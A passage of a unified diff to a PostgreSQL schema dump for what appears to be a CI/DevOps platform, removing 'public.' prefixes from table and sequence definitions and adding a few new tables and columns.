-ALTER SEQUENCE public.ci_pipeline_schedules_id_seq OWNED BY public.ci_pipeline_schedules.id;
+ALTER SEQUENCE ci_pipeline_schedules_id_seq OWNED BY ci_pipeline_schedules.id;
-CREATE TABLE public.ci_pipeline_variables (
+CREATE TABLE ci_pipeline_variables (
id integer NOT NULL,
key character varying NOT NULL,
value text,
@@ -10168,16 +10274,16 @@ CREATE TABLE public.ci_pipeline_variables (
variable_type smallint DEFAULT 1 NOT NULL
);
-CREATE SEQUENCE public.ci_pipeline_variables_id_seq
+CREATE SEQUENCE ci_pipeline_variables_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.ci_pipeline_variables_id_seq OWNED BY public.ci_pipeline_variables.id;
+ALTER SEQUENCE ci_pipeline_variables_id_seq OWNED BY ci_pipeline_variables.id;
-CREATE TABLE public.ci_pipelines (
+CREATE TABLE ci_pipelines (
id integer NOT NULL,
ref character varying,
sha character varying,
@@ -10206,34 +10312,52 @@ CREATE TABLE public.ci_pipelines (
target_sha bytea,
external_pull_request_id bigint,
ci_ref_id bigint,
- locked smallint DEFAULT 0 NOT NULL,
+ locked smallint DEFAULT 1 NOT NULL,
CONSTRAINT check_d7e99a025e CHECK ((lock_version IS NOT NULL))
);
-CREATE TABLE public.ci_pipelines_config (
+CREATE TABLE ci_pipelines_config (
pipeline_id bigint NOT NULL,
content text NOT NULL
);
-CREATE SEQUENCE public.ci_pipelines_config_pipeline_id_seq
+CREATE SEQUENCE ci_pipelines_config_pipeline_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.ci_pipelines_config_pipeline_id_seq OWNED BY public.ci_pipelines_config.pipeline_id;
+ALTER SEQUENCE ci_pipelines_config_pipeline_id_seq OWNED BY ci_pipelines_config.pipeline_id;
+
+CREATE SEQUENCE ci_pipelines_id_seq
+ START WITH 1
+ INCREMENT BY 1
+ NO MINVALUE
+ NO MAXVALUE
+ CACHE 1;
+
+ALTER SEQUENCE ci_pipelines_id_seq OWNED BY ci_pipelines.id;
+
+CREATE TABLE ci_platform_metrics (
+ id bigint NOT NULL,
+ recorded_at timestamp with time zone NOT NULL,
+ platform_target text NOT NULL,
+ count integer NOT NULL,
+ CONSTRAINT check_f922abc32b CHECK ((char_length(platform_target) <= 255)),
+ CONSTRAINT ci_platform_metrics_check_count_positive CHECK ((count > 0))
+);
-CREATE SEQUENCE public.ci_pipelines_id_seq
+CREATE SEQUENCE ci_platform_metrics_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.ci_pipelines_id_seq OWNED BY public.ci_pipelines.id;
+ALTER SEQUENCE ci_platform_metrics_id_seq OWNED BY ci_platform_metrics.id;
-CREATE TABLE public.ci_refs (
+CREATE TABLE ci_refs (
id bigint NOT NULL,
project_id bigint NOT NULL,
lock_version integer DEFAULT 0 NOT NULL,
@@ -10241,16 +10365,16 @@ CREATE TABLE public.ci_refs (
ref_path text NOT NULL
);
-CREATE SEQUENCE public.ci_refs_id_seq
+CREATE SEQUENCE ci_refs_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.ci_refs_id_seq OWNED BY public.ci_refs.id;
+ALTER SEQUENCE ci_refs_id_seq OWNED BY ci_refs.id;
-CREATE TABLE public.ci_resource_groups (
+CREATE TABLE ci_resource_groups (
id bigint NOT NULL,
created_at timestamp with time zone NOT NULL,
updated_at timestamp with time zone NOT NULL,
@@ -10258,16 +10382,16 @@ CREATE TABLE public.ci_resource_groups (
key character varying(255) NOT NULL
);
-CREATE SEQUENCE public.ci_resource_groups_id_seq
+CREATE SEQUENCE ci_resource_groups_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.ci_resource_groups_id_seq OWNED BY public.ci_resource_groups.id;
+ALTER SEQUENCE ci_resource_groups_id_seq OWNED BY ci_resource_groups.id;
-CREATE TABLE public.ci_resources (
+CREATE TABLE ci_resources (
id bigint NOT NULL,
created_at timestamp with time zone NOT NULL,
updated_at timestamp with time zone NOT NULL,
@@ -10275,31 +10399,31 @@ CREATE TABLE public.ci_resources (
build_id bigint
);
-CREATE SEQUENCE public.ci_resources_id_seq
+CREATE SEQUENCE ci_resources_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.ci_resources_id_seq OWNED BY public.ci_resources.id;
+ALTER SEQUENCE ci_resources_id_seq OWNED BY ci_resources.id;
-CREATE TABLE public.ci_runner_namespaces (
+CREATE TABLE ci_runner_namespaces (
id integer NOT NULL,
runner_id integer,
namespace_id integer
);
-CREATE SEQUENCE public.ci_runner_namespaces_id_seq
+CREATE SEQUENCE ci_runner_namespaces_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.ci_runner_namespaces_id_seq OWNED BY public.ci_runner_namespaces.id;
+ALTER SEQUENCE ci_runner_namespaces_id_seq OWNED BY ci_runner_namespaces.id;
-CREATE TABLE public.ci_runner_projects (
+CREATE TABLE ci_runner_projects (
id integer NOT NULL,
runner_id integer NOT NULL,
created_at timestamp without time zone,
@@ -10307,16 +10431,16 @@ CREATE TABLE public.ci_runner_projects (
project_id integer
);
-CREATE SEQUENCE public.ci_runner_projects_id_seq
+CREATE SEQUENCE ci_runner_projects_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.ci_runner_projects_id_seq OWNED BY public.ci_runner_projects.id;
+ALTER SEQUENCE ci_runner_projects_id_seq OWNED BY ci_runner_projects.id;
-CREATE TABLE public.ci_runners (
+CREATE TABLE ci_runners (
id integer NOT NULL,
token character varying,
created_at timestamp without time zone,
@@ -10341,16 +10465,16 @@ CREATE TABLE public.ci_runners (
private_projects_minutes_cost_factor double precision DEFAULT 1.0 NOT NULL
);
-CREATE SEQUENCE public.ci_runners_id_seq
+CREATE SEQUENCE ci_runners_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.ci_runners_id_seq OWNED BY public.ci_runners.id;
+ALTER SEQUENCE ci_runners_id_seq OWNED BY ci_runners.id;
-CREATE TABLE public.ci_sources_pipelines (
+CREATE TABLE ci_sources_pipelines (
id integer NOT NULL,
project_id integer,
pipeline_id integer,
@@ -10359,31 +10483,31 @@ CREATE TABLE public.ci_sources_pipelines (
source_pipeline_id integer
);
-CREATE SEQUENCE public.ci_sources_pipelines_id_seq
+CREATE SEQUENCE ci_sources_pipelines_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.ci_sources_pipelines_id_seq OWNED BY public.ci_sources_pipelines.id;
+ALTER SEQUENCE ci_sources_pipelines_id_seq OWNED BY ci_sources_pipelines.id;
-CREATE TABLE public.ci_sources_projects (
+CREATE TABLE ci_sources_projects (
id bigint NOT NULL,
pipeline_id bigint NOT NULL,
source_project_id bigint NOT NULL
);
-CREATE SEQUENCE public.ci_sources_projects_id_seq
+CREATE SEQUENCE ci_sources_projects_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.ci_sources_projects_id_seq OWNED BY public.ci_sources_projects.id;
+ALTER SEQUENCE ci_sources_projects_id_seq OWNED BY ci_sources_projects.id;
-CREATE TABLE public.ci_stages (
+CREATE TABLE ci_stages (
id integer NOT NULL,
project_id integer,
pipeline_id integer,
@@ -10396,31 +10520,31 @@ CREATE TABLE public.ci_stages (
CONSTRAINT check_81b431e49b CHECK ((lock_version IS NOT NULL))
);
-CREATE SEQUENCE public.ci_stages_id_seq
+CREATE SEQUENCE ci_stages_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.ci_stages_id_seq OWNED BY public.ci_stages.id;
+ALTER SEQUENCE ci_stages_id_seq OWNED BY ci_stages.id;
-CREATE TABLE public.ci_subscriptions_projects (
+CREATE TABLE ci_subscriptions_projects (
id bigint NOT NULL,
downstream_project_id bigint NOT NULL,
upstream_project_id bigint NOT NULL
);
-CREATE SEQUENCE public.ci_subscriptions_projects_id_seq
+CREATE SEQUENCE ci_subscriptions_projects_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.ci_subscriptions_projects_id_seq OWNED BY public.ci_subscriptions_projects.id;
+ALTER SEQUENCE ci_subscriptions_projects_id_seq OWNED BY ci_subscriptions_projects.id;
-CREATE TABLE public.ci_trigger_requests (
+CREATE TABLE ci_trigger_requests (
id integer NOT NULL,
trigger_id integer NOT NULL,
variables text,
@@ -10429,16 +10553,16 @@ CREATE TABLE public.ci_trigger_requests (
commit_id integer
);
-CREATE SEQUENCE public.ci_trigger_requests_id_seq
+CREATE SEQUENCE ci_trigger_requests_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.ci_trigger_requests_id_seq OWNED BY public.ci_trigger_requests.id;
+ALTER SEQUENCE ci_trigger_requests_id_seq OWNED BY ci_trigger_requests.id;
-CREATE TABLE public.ci_triggers (
+CREATE TABLE ci_triggers (
id integer NOT NULL,
token character varying,
created_at timestamp without time zone,
@@ -10449,16 +10573,16 @@ CREATE TABLE public.ci_triggers (
ref character varying
);
-CREATE SEQUENCE public.ci_triggers_id_seq
+CREATE SEQUENCE ci_triggers_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.ci_triggers_id_seq OWNED BY public.ci_triggers.id;
+ALTER SEQUENCE ci_triggers_id_seq OWNED BY ci_triggers.id;
-CREATE TABLE public.ci_variables (
+CREATE TABLE ci_variables (
id integer NOT NULL,
key character varying NOT NULL,
value text,
@@ -10472,16 +10596,16 @@ CREATE TABLE public.ci_variables (
variable_type smallint DEFAULT 1 NOT NULL
);
-CREATE SEQUENCE public.ci_variables_id_seq
+CREATE SEQUENCE ci_variables_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.ci_variables_id_seq OWNED BY public.ci_variables.id;
+ALTER SEQUENCE ci_variables_id_seq OWNED BY ci_variables.id;
-CREATE TABLE public.cluster_agent_tokens (
+CREATE TABLE cluster_agent_tokens (
id bigint NOT NULL,
created_at timestamp with time zone NOT NULL,
updated_at timestamp with time zone NOT NULL,
@@ -10490,16 +10614,16 @@ CREATE TABLE public.cluster_agent_tokens (
CONSTRAINT check_c60daed227 CHECK ((char_length(token_encrypted) <= 255))
);
-CREATE SEQUENCE public.cluster_agent_tokens_id_seq
+CREATE SEQUENCE cluster_agent_tokens_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.cluster_agent_tokens_id_seq OWNED BY public.cluster_agent_tokens.id;
+ALTER SEQUENCE cluster_agent_tokens_id_seq OWNED BY cluster_agent_tokens.id;
-CREATE TABLE public.cluster_agents (
+CREATE TABLE cluster_agents (
id bigint NOT NULL,
created_at timestamp with time zone NOT NULL,
updated_at timestamp with time zone NOT NULL,
@@ -10508,31 +10632,31 @@ CREATE TABLE public.cluster_agents (
CONSTRAINT check_3498369510 CHECK ((char_length(name) <= 255))
);
-CREATE SEQUENCE public.cluster_agents_id_seq
+CREATE SEQUENCE cluster_agents_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.cluster_agents_id_seq OWNED BY public.cluster_agents.id;
+ALTER SEQUENCE cluster_agents_id_seq OWNED BY cluster_agents.id;
-CREATE TABLE public.cluster_groups (
+CREATE TABLE cluster_groups (
id integer NOT NULL,
cluster_id integer NOT NULL,
group_id integer NOT NULL
);
-CREATE SEQUENCE public.cluster_groups_id_seq
+CREATE SEQUENCE cluster_groups_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.cluster_groups_id_seq OWNED BY public.cluster_groups.id;
+ALTER SEQUENCE cluster_groups_id_seq OWNED BY cluster_groups.id;
-CREATE TABLE public.cluster_platforms_kubernetes (
+CREATE TABLE cluster_platforms_kubernetes (
id integer NOT NULL,
cluster_id integer NOT NULL,
created_at timestamp without time zone NOT NULL,
@@ -10548,16 +10672,16 @@ CREATE TABLE public.cluster_platforms_kubernetes (
authorization_type smallint
);
-CREATE SEQUENCE public.cluster_platforms_kubernetes_id_seq
+CREATE SEQUENCE cluster_platforms_kubernetes_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.cluster_platforms_kubernetes_id_seq OWNED BY public.cluster_platforms_kubernetes.id;
+ALTER SEQUENCE cluster_platforms_kubernetes_id_seq OWNED BY cluster_platforms_kubernetes.id;
-CREATE TABLE public.cluster_projects (
+CREATE TABLE cluster_projects (
id integer NOT NULL,
project_id integer NOT NULL,
cluster_id integer NOT NULL,
@@ -10565,16 +10689,16 @@ CREATE TABLE public.cluster_projects (
updated_at timestamp without time zone NOT NULL
);
-CREATE SEQUENCE public.cluster_projects_id_seq
+CREATE SEQUENCE cluster_projects_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.cluster_projects_id_seq OWNED BY public.cluster_projects.id;
+ALTER SEQUENCE cluster_projects_id_seq OWNED BY cluster_projects.id;
-CREATE TABLE public.cluster_providers_aws (
+CREATE TABLE cluster_providers_aws (
id bigint NOT NULL,
cluster_id bigint NOT NULL,
created_by_user_id integer,
@@ -10593,19 +10717,21 @@ CREATE TABLE public.cluster_providers_aws (
encrypted_secret_access_key_iv character varying(255),
encrypted_secret_access_key text,
session_token text,
- status_reason text
+ status_reason text,
+ kubernetes_version text DEFAULT '1.14'::text NOT NULL,
+ CONSTRAINT check_f1f42cd85e CHECK ((char_length(kubernetes_version) <= 30))
);
-CREATE SEQUENCE public.cluster_providers_aws_id_seq
+CREATE SEQUENCE cluster_providers_aws_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.cluster_providers_aws_id_seq OWNED BY public.cluster_providers_aws.id;
+ALTER SEQUENCE cluster_providers_aws_id_seq OWNED BY cluster_providers_aws.id;
-CREATE TABLE public.cluster_providers_gcp (
+CREATE TABLE cluster_providers_gcp (
id integer NOT NULL,
cluster_id integer NOT NULL,
status integer,
@@ -10624,16 +10750,16 @@ CREATE TABLE public.cluster_providers_gcp (
cloud_run boolean DEFAULT false NOT NULL
);
-CREATE SEQUENCE public.cluster_providers_gcp_id_seq
+CREATE SEQUENCE cluster_providers_gcp_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.cluster_providers_gcp_id_seq OWNED BY public.cluster_providers_gcp.id;
+ALTER SEQUENCE cluster_providers_gcp_id_seq OWNED BY cluster_providers_gcp.id;
-CREATE TABLE public.clusters (
+CREATE TABLE clusters (
id integer NOT NULL,
user_id integer,
provider_type integer,
@@ -10652,7 +10778,7 @@ CREATE TABLE public.clusters (
cleanup_status_reason text
);
-CREATE TABLE public.clusters_applications_cert_managers (
+CREATE TABLE clusters_applications_cert_managers (
id integer NOT NULL,
cluster_id integer NOT NULL,
status integer NOT NULL,
@@ -10663,16 +10789,16 @@ CREATE TABLE public.clusters_applications_cert_managers (
status_reason text
);
-CREATE SEQUENCE public.clusters_applications_cert_managers_id_seq
+CREATE SEQUENCE clusters_applications_cert_managers_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.clusters_applications_cert_managers_id_seq OWNED BY public.clusters_applications_cert_managers.id;
+ALTER SEQUENCE clusters_applications_cert_managers_id_seq OWNED BY clusters_applications_cert_managers.id;
-CREATE TABLE public.clusters_applications_cilium (
+CREATE TABLE clusters_applications_cilium (
id bigint NOT NULL,
cluster_id bigint NOT NULL,
created_at timestamp with time zone NOT NULL,
@@ -10681,16 +10807,16 @@ CREATE TABLE public.clusters_applications_cilium (
status_reason text
);
-CREATE SEQUENCE public.clusters_applications_cilium_id_seq
+CREATE SEQUENCE clusters_applications_cilium_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.clusters_applications_cilium_id_seq OWNED BY public.clusters_applications_cilium.id;
+ALTER SEQUENCE clusters_applications_cilium_id_seq OWNED BY clusters_applications_cilium.id;
-CREATE TABLE public.clusters_applications_crossplane (
+CREATE TABLE clusters_applications_crossplane (
id integer NOT NULL,
created_at timestamp with time zone NOT NULL,
updated_at timestamp with time zone NOT NULL,
@@ -10701,16 +10827,16 @@ CREATE TABLE public.clusters_applications_crossplane (
status_reason text
);
-CREATE SEQUENCE public.clusters_applications_crossplane_id_seq
+CREATE SEQUENCE clusters_applications_crossplane_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.clusters_applications_crossplane_id_seq OWNED BY public.clusters_applications_crossplane.id;
+ALTER SEQUENCE clusters_applications_crossplane_id_seq OWNED BY clusters_applications_crossplane.id;
-CREATE TABLE public.clusters_applications_elastic_stacks (
+CREATE TABLE clusters_applications_elastic_stacks (
id bigint NOT NULL,
created_at timestamp with time zone NOT NULL,
updated_at timestamp with time zone NOT NULL,
@@ -10720,16 +10846,16 @@ CREATE TABLE public.clusters_applications_elastic_stacks (
status_reason text
);
-CREATE SEQUENCE public.clusters_applications_elastic_stacks_id_seq
+CREATE SEQUENCE clusters_applications_elastic_stacks_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.clusters_applications_elastic_stacks_id_seq OWNED BY public.clusters_applications_elastic_stacks.id;
+ALTER SEQUENCE clusters_applications_elastic_stacks_id_seq OWNED BY clusters_applications_elastic_stacks.id;
-CREATE TABLE public.clusters_applications_fluentd (
+CREATE TABLE clusters_applications_fluentd (
id bigint NOT NULL,
protocol smallint NOT NULL,
status integer NOT NULL,
@@ -10744,16 +10870,16 @@ CREATE TABLE public.clusters_applications_fluentd (
cilium_log_enabled boolean DEFAULT true NOT NULL
);
-CREATE SEQUENCE public.clusters_applications_fluentd_id_seq
+CREATE SEQUENCE clusters_applications_fluentd_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.clusters_applications_fluentd_id_seq OWNED BY public.clusters_applications_fluentd.id;
+ALTER SEQUENCE clusters_applications_fluentd_id_seq OWNED BY clusters_applications_fluentd.id;
-CREATE TABLE public.clusters_applications_helm (
+CREATE TABLE clusters_applications_helm (
id integer NOT NULL,
cluster_id integer NOT NULL,
created_at timestamp without time zone NOT NULL,
@@ -10766,16 +10892,16 @@ CREATE TABLE public.clusters_applications_helm (
ca_cert text
);
-CREATE SEQUENCE public.clusters_applications_helm_id_seq
+CREATE SEQUENCE clusters_applications_helm_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.clusters_applications_helm_id_seq OWNED BY public.clusters_applications_helm.id;
+ALTER SEQUENCE clusters_applications_helm_id_seq OWNED BY clusters_applications_helm.id;
-CREATE TABLE public.clusters_applications_ingress (
+CREATE TABLE clusters_applications_ingress (
id integer NOT NULL,
cluster_id integer NOT NULL,
created_at timestamp without time zone NOT NULL,
@@ -10791,16 +10917,16 @@ CREATE TABLE public.clusters_applications_ingress (
modsecurity_mode smallint DEFAULT 0 NOT NULL
);
-CREATE SEQUENCE public.clusters_applications_ingress_id_seq
+CREATE SEQUENCE clusters_applications_ingress_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.clusters_applications_ingress_id_seq OWNED BY public.clusters_applications_ingress.id;
+ALTER SEQUENCE clusters_applications_ingress_id_seq OWNED BY clusters_applications_ingress.id;
-CREATE TABLE public.clusters_applications_jupyter (
+CREATE TABLE clusters_applications_jupyter (
id integer NOT NULL,
cluster_id integer NOT NULL,
oauth_application_id integer,
@@ -10812,16 +10938,16 @@ CREATE TABLE public.clusters_applications_jupyter (
status_reason text
);
-CREATE SEQUENCE public.clusters_applications_jupyter_id_seq
+CREATE SEQUENCE clusters_applications_jupyter_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.clusters_applications_jupyter_id_seq OWNED BY public.clusters_applications_jupyter.id;
+ALTER SEQUENCE clusters_applications_jupyter_id_seq OWNED BY clusters_applications_jupyter.id;
-CREATE TABLE public.clusters_applications_knative (
+CREATE TABLE clusters_applications_knative (
id integer NOT NULL,
cluster_id integer NOT NULL,
created_at timestamp with time zone NOT NULL,
@@ -10834,16 +10960,16 @@ CREATE TABLE public.clusters_applications_knative (
external_hostname character varying
);
-CREATE SEQUENCE public.clusters_applications_knative_id_seq
+CREATE SEQUENCE clusters_applications_knative_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.clusters_applications_knative_id_seq OWNED BY public.clusters_applications_knative.id;
+ALTER SEQUENCE clusters_applications_knative_id_seq OWNED BY clusters_applications_knative.id;
-CREATE TABLE public.clusters_applications_prometheus (
+CREATE TABLE clusters_applications_prometheus (
id integer NOT NULL,
cluster_id integer NOT NULL,
status integer NOT NULL,
@@ -10857,16 +10983,16 @@ CREATE TABLE public.clusters_applications_prometheus (
healthy boolean
);
-CREATE SEQUENCE public.clusters_applications_prometheus_id_seq
+CREATE SEQUENCE clusters_applications_prometheus_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.clusters_applications_prometheus_id_seq OWNED BY public.clusters_applications_prometheus.id;
+ALTER SEQUENCE clusters_applications_prometheus_id_seq OWNED BY clusters_applications_prometheus.id;
-CREATE TABLE public.clusters_applications_runners (
+CREATE TABLE clusters_applications_runners (
id integer NOT NULL,
cluster_id integer NOT NULL,
runner_id integer,
@@ -10878,25 +11004,25 @@ CREATE TABLE public.clusters_applications_runners (
privileged boolean DEFAULT true NOT NULL
);
-CREATE SEQUENCE public.clusters_applications_runners_id_seq
+CREATE SEQUENCE clusters_applications_runners_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.clusters_applications_runners_id_seq OWNED BY public.clusters_applications_runners.id;
+ALTER SEQUENCE clusters_applications_runners_id_seq OWNED BY clusters_applications_runners.id;
-CREATE SEQUENCE public.clusters_id_seq
+CREATE SEQUENCE clusters_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.clusters_id_seq OWNED BY public.clusters.id;
+ALTER SEQUENCE clusters_id_seq OWNED BY clusters.id;
-CREATE TABLE public.clusters_kubernetes_namespaces (
+CREATE TABLE clusters_kubernetes_namespaces (
id bigint NOT NULL,
cluster_id integer NOT NULL,
project_id integer,
@@ -10910,16 +11036,16 @@ CREATE TABLE public.clusters_kubernetes_namespaces (
environment_id bigint
);
-CREATE SEQUENCE public.clusters_kubernetes_namespaces_id_seq
+CREATE SEQUENCE clusters_kubernetes_namespaces_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.clusters_kubernetes_namespaces_id_seq OWNED BY public.clusters_kubernetes_namespaces.id;
+ALTER SEQUENCE clusters_kubernetes_namespaces_id_seq OWNED BY clusters_kubernetes_namespaces.id;
-CREATE TABLE public.commit_user_mentions (
+CREATE TABLE commit_user_mentions (
id bigint NOT NULL,
note_id integer NOT NULL,
mentioned_users_ids integer[],
@@ -10928,16 +11054,16 @@ CREATE TABLE public.commit_user_mentions (
commit_id character varying NOT NULL
);
-CREATE SEQUENCE public.commit_user_mentions_id_seq
+CREATE SEQUENCE commit_user_mentions_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.commit_user_mentions_id_seq OWNED BY public.commit_user_mentions.id;
+ALTER SEQUENCE commit_user_mentions_id_seq OWNED BY commit_user_mentions.id;
-CREATE TABLE public.container_expiration_policies (
+CREATE TABLE container_expiration_policies (
project_id bigint NOT NULL,
created_at timestamp with time zone NOT NULL,
updated_at timestamp with time zone NOT NULL,
@@ -10951,7 +11077,7 @@ CREATE TABLE public.container_expiration_policies (
CONSTRAINT container_expiration_policies_name_regex_keep CHECK ((char_length(name_regex_keep) <= 255))
);
-CREATE TABLE public.container_repositories (
+CREATE TABLE container_repositories (
id integer NOT NULL,
project_id integer NOT NULL,
name character varying NOT NULL,
@@ -10960,16 +11086,16 @@ CREATE TABLE public.container_repositories (
status smallint
);
-CREATE SEQUENCE public.container_repositories_id_seq
+CREATE SEQUENCE container_repositories_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.container_repositories_id_seq OWNED BY public.container_repositories.id;
+ALTER SEQUENCE container_repositories_id_seq OWNED BY container_repositories.id;
-CREATE TABLE public.conversational_development_index_metrics (
+CREATE TABLE conversational_development_index_metrics (
id integer NOT NULL,
leader_issues double precision NOT NULL,
instance_issues double precision NOT NULL,
@@ -11005,16 +11131,16 @@ CREATE TABLE public.conversational_development_index_metrics (
percentage_service_desk_issues double precision DEFAULT 0.0 NOT NULL
);
-CREATE SEQUENCE public.conversational_development_index_metrics_id_seq
+CREATE SEQUENCE conversational_development_index_metrics_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.conversational_development_index_metrics_id_seq OWNED BY public.conversational_development_index_metrics.id;
+ALTER SEQUENCE conversational_development_index_metrics_id_seq OWNED BY conversational_development_index_metrics.id;
-CREATE TABLE public.custom_emoji (
+CREATE TABLE custom_emoji (
id bigint NOT NULL,
namespace_id bigint NOT NULL,
created_at timestamp with time zone NOT NULL,
@@ -11026,16 +11152,16 @@ CREATE TABLE public.custom_emoji (
CONSTRAINT check_dd5d60f1fb CHECK ((char_length(file) <= 255))
);
-CREATE SEQUENCE public.custom_emoji_id_seq
+CREATE SEQUENCE custom_emoji_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.custom_emoji_id_seq OWNED BY public.custom_emoji.id;
+ALTER SEQUENCE custom_emoji_id_seq OWNED BY custom_emoji.id;
-CREATE TABLE public.dast_scanner_profiles (
+CREATE TABLE dast_scanner_profiles (
id bigint NOT NULL,
created_at timestamp with time zone NOT NULL,
updated_at timestamp with time zone NOT NULL,
@@ -11046,16 +11172,16 @@ CREATE TABLE public.dast_scanner_profiles (
CONSTRAINT check_568568fabf CHECK ((char_length(name) <= 255))
);
-CREATE SEQUENCE public.dast_scanner_profiles_id_seq
+CREATE SEQUENCE dast_scanner_profiles_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.dast_scanner_profiles_id_seq OWNED BY public.dast_scanner_profiles.id;
+ALTER SEQUENCE dast_scanner_profiles_id_seq OWNED BY dast_scanner_profiles.id;
-CREATE TABLE public.dast_site_profiles (
+CREATE TABLE dast_site_profiles (
id bigint NOT NULL,
project_id bigint NOT NULL,
dast_site_id bigint NOT NULL,
@@ -11065,34 +11191,81 @@ CREATE TABLE public.dast_site_profiles (
CONSTRAINT check_6cfab17b48 CHECK ((char_length(name) <= 255))
);
-CREATE SEQUENCE public.dast_site_profiles_id_seq
+CREATE SEQUENCE dast_site_profiles_id_seq
+ START WITH 1
+ INCREMENT BY 1
+ NO MINVALUE
+ NO MAXVALUE
+ CACHE 1;
+
+ALTER SEQUENCE dast_site_profiles_id_seq OWNED BY dast_site_profiles.id;
+
+CREATE TABLE dast_site_tokens (
+ id bigint NOT NULL,
+ project_id bigint NOT NULL,
+ created_at timestamp with time zone NOT NULL,
+ updated_at timestamp with time zone NOT NULL,
+ expired_at timestamp with time zone,
+ token text NOT NULL,
+ url text NOT NULL,
+ CONSTRAINT check_02a6bf20a7 CHECK ((char_length(token) <= 255)),
+ CONSTRAINT check_69ab8622a6 CHECK ((char_length(url) <= 255))
+);
+
+CREATE SEQUENCE dast_site_tokens_id_seq
+ START WITH 1
+ INCREMENT BY 1
+ NO MINVALUE
+ NO MAXVALUE
+ CACHE 1;
+
+ALTER SEQUENCE dast_site_tokens_id_seq OWNED BY dast_site_tokens.id;
+
+CREATE TABLE dast_site_validations (
+ id bigint NOT NULL,
+ dast_site_token_id bigint NOT NULL,
+ created_at timestamp with time zone NOT NULL,
+ updated_at timestamp with time zone NOT NULL,
+ validation_started_at timestamp with time zone,
+ validation_passed_at timestamp with time zone,
+ validation_failed_at timestamp with time zone,
+ validation_last_retried_at timestamp with time zone,
+ validation_strategy smallint NOT NULL,
+ url_base text NOT NULL,
+ url_path text NOT NULL,
